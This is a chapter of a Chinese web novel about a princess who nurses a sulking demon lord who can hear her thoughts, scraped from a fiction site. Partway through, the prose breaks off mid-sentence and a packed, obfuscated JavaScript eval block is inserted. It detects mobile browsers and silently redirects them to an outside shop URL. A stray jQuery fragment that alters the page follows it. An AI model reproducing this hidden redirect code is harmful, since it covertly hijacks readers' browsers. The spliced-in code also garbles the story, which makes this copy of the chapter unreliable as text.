文趣网 > 其他小说 > 魔尊听到公主心声后 > 11. 第十一章
    之后的几日,萧肃渊就像和她房间的这张床绑定了一样,分都分不开。

    她尝试过让人把这尊大佛搬回这大佛自己的宫殿。然而搬人的人手一碰到他,萧肃渊就疼得倒吸气,稍微挪动几步,他脸色就白的不能看,一副再动几下就要驾鹤西去的死样子。

    那地狱一样的刑罚是许溪雁亲手弄亲手看的,可怖程度还记忆犹新,所以她也无法随意猜测萧肃渊在装病,万一萧肃渊是真伤成这样,动都动不了呢。

    而且萧肃渊好歹也是个魔尊,如果是故意装病装成这样,还要不要脸了。

    怎么想,装病的可能性都不太大,许溪雁就勉为其难相信,让他暂且在这养几日吧。

    不过萧肃渊在这,她就要更敬职敬业地照顾他。

    也不知道萧肃渊是怎么变成现在这样的,曾经乖乖吃药,从不嫌苦的少年现在变得磨磨唧唧,喝一口药要她哄半天。

    “夫君,这药不苦,真的,你尝一口。”

    “不喝药怎么能好呢,乖,听话。”许溪雁在萧肃渊脸颊处亲了一口,她看见萧肃渊的耳朵都红了,然而那张嘴还是该死地闭着。

    许溪雁嘴唇微微侧了侧,很轻很快地擦过萧肃渊的唇,这次萧肃渊脸颊绯红,终于勉为其难地张开口,抿了一口药。

    这还没结束,就喝了那么一小口的药,萧肃渊那双剑眉微微皱起,似是被苦得不行,一双深邃的眸子有些委屈有些埋怨地看向许溪雁。

    许溪雁:“??”

    还有玩没玩了。

    她忍着最后的耐心,继续喂药。

    只抿了一小口药的魔尊,当前又再次禁闭双唇,不愿意碰那药半口。

    许溪雁气极反笑,她靠近萧肃渊,温柔地看着萧肃渊的眼睛,有些为难道:“夫君这样不喝药,我真的很担心,听话一点好不好。”

    萧肃渊沉默不语,只看着许溪雁手中的药微微皱眉。

    “那我亲口喂夫君好不好?”许溪雁抬手,白皙的手指点了点萧肃渊的唇角。

    萧肃渊别过脸,模样不情愿地躲过许溪雁的抚摸,激动地斥道:“胡闹!”

    不过脸也就别过了一小会儿,萧肃渊又回过头看许溪雁,视线缓缓下移,落在许溪雁的唇上。

    许溪雁一直没有下一步的动作,那视线就不愿挪开半分。

    那视线实在是过于炽热,许溪雁被看得脸都有些发烫。

    “夫君不喜欢那就算了。”真想她嘴对嘴喂,做梦呢。

    许溪雁当看不见,把手中药放到床边桌上,转身就走。

    一只手暗搓搓从被子里伸出,想要抓住那快飘走的衣袖,只是在快要抓住的时候一顿,又快速缩回到被子里。

    许溪雁临走前,又回头看了萧肃渊一眼,面上一副温柔体贴的样子,柔声关切叮嘱:“我出去散散步,夫君要乖乖喝药哦。”

    萧肃渊垂着眼,一声不吭,显然一副不乖的模样。

    许溪雁没有再说什么,微微一笑,大度宽容,完全不计较一般,缓缓后退,开门出去了。

    萧肃渊嫌弃地看了一眼桌上的药,完全不想碰分毫。

    他闭眼舒服地继续睡觉,耳畔忽然响起一道渐行渐远的心声:“死老登给他脸了,回来那药如果还在的话,就算抬死了,也要让人把这老登抬回他的魔宫殿去。”

    萧肃渊全当没听见,他转了个身继续睡,笑话,他堂堂魔尊会被威胁到?

    这药他鸟都不鸟。

    过了好一会儿,那药依旧在桌上,未动分毫,非常有傲骨。

    此刻,门外忽然有了响声。

    床上那看着已经睡着的人耳朵动了动,一只骨节分明的手迅速从被子下面探出,以迅雷不及掩耳之势拿起桌边的药,仰头就是猛灌。

    转眼间那早已凉透的药就见了底,又快速被放回了原位置。

    萧肃渊重新躺下,继续保持着睡觉的模样,仿佛什么都没有发生。

    外面的人进来了。

    萧肃渊继续装睡,只是等了好一会儿都没等到夸奖。

    他不悦地皱了皱眉,怎么,这女人现在连演戏都不屑于演了吗,对于空了的碗就没有一点看法吗?

    他暗呼出一口气,主动睁眼看去,猝不及防对上桌旁收拾碗筷的魔兵视线。

    魔兵猛地被看了这么一眼,吓了一大跳,以为是自己收拾碗筷还不够小心,吵醒了魔尊,赶紧低头:“尊上恕罪。”

    喝了一肚子凉苦药的萧肃渊:“……”

    他没劲地摆了摆手:“下去吧。”

    “是。”魔兵快速收拾碗筷退下。

    ——

    许溪雁虽然没有亲自过来查看,但也知道了药喝光的事,念在萧肃渊还不算无药可救,她暂且放下了让人抬走萧肃渊的打算。

    但也只是暂且发下,因为第二天喂药时,她又重新燃起了这个想法。

    萧肃渊依旧不老实,喝个药还是要她千哄百哄。

    “乖,喝一口好不好。”许溪雁轻声轻语地哄着,跟哄小孩一样。

    萧肃渊故态复萌,垂着眸闭着唇,一口也不喝。

    许溪雁面上保持着微笑,心里已经骂了起来:“死老登没救了,每天在这我都要累死累活地照顾,谁爱伺候谁伺候去,下午就给抬走!”

    今天连个哄人的亲亲都没有得到的某老登,如今又听到这么一句心声。

    萧肃渊:“……”

    什么累死累活的照顾,除了喂药需要许溪雁亲自做,她还要做什么?

    药是大夫煎的,碗筷是魔兵收拾的,饭是厨房做

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938807|213810||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的,房间是魔兵打扫的,他身上的清洁是自己用魔气清的!

    萧肃渊看了许溪雁一眼,满眼的控诉。

    “死老登还敢瞪我,现在就抬走!”

    萧肃渊赶紧收回了视线,垂眸不语。

    “真的不喝吗?”许溪雁忍着耐心,温柔地问了最后一句,她已经不打算有能得到什么回应,开口都要准备唤抬人的魔兵了,手中碗突然一轻。

    她抬眸看去,就见萧肃渊忽然开了窍,拿起药就是一口闷,很快喝完了药。

    许溪雁一时间没有反应过来,顿了一会儿才接过碗,开心地夸了一句:“乖,这样病才能好起来。”

    萧肃渊虽然喝完了药,但是一肚子的气,他垂着眸面色沉沉的,一副不好惹的样子,对许溪雁的夸奖更是冷酷地理都不理。

    许溪雁才不管这什么生人勿近的气场,在她眼里,喝了要就是乖宝宝,就算生气了,也是个生气的乖宝宝。

    “张口。”清甜的嗓音响在耳畔。

    萧肃渊冰着一张脸,不情不愿地张了口,一个蜜饯就送到了他的嘴里,咬下去甜甜糯糯的,很快化解了他口中的药苦味。

    许溪雁看得越发满意,看,生气的乖宝宝又听话得吃了一颗蜜饯。

    萧肃渊依旧面无表情,一颗蜜饯就想收买他,想都不要想。

    只是甜甜的蜜饯刚刚咽下,嘴边就贴来一片温软,温热的呼吸落在他脸颊:“以后喝药都要这么乖,好吗?”

    萧肃渊屏住呼吸,心跳不受控制地变快,他等了好一会儿,身边的人都没离开。

    他终于忍无可忍地开了口,低低回了一声:“嗯。”

    身旁的人终于离开了,萧肃渊暗暗深吸了几口气,恢复了呼吸。

    面对许溪雁那满意的不行的笑颜,萧肃渊后知后觉地反应过来,他刚刚竟然鬼使神差地答应了。

    本想用喂药来报复折磨许溪雁的,如今竟然被许溪雁这样蒙混了过去。

    可恶,他的报复大计又得重新谋划。

    萧肃渊寡言寡语,一脸深沉,严肃地开始思考自己的报复大计。

    许溪雁看着萧肃渊泛红的侧脸,心情颇好地在心里夸了一句:“好乖,好可爱。”

    严肃筹谋着的萧肃渊思想瞬间卡壳,脸红得能冒烟。

    他不可置信地看向许溪雁,怀疑自己听错了,这女人疯了吗,竟然用可爱这种词形容他?

    许溪雁疑惑地歪了歪头,她心情好,声音都甜了好几分:“怎么啦?”

    萧肃渊心跳飞快,他快速收回视线,脑中却不断回想刚刚的画面,许溪雁一张小脸白得发光,一双亮晶晶漂亮的杏眼看着他,歪了歪脑袋在问他话,萧肃渊不知道说什么,只讷讷地在心里重复许溪雁刚刚心声说过的话:好,好可爱。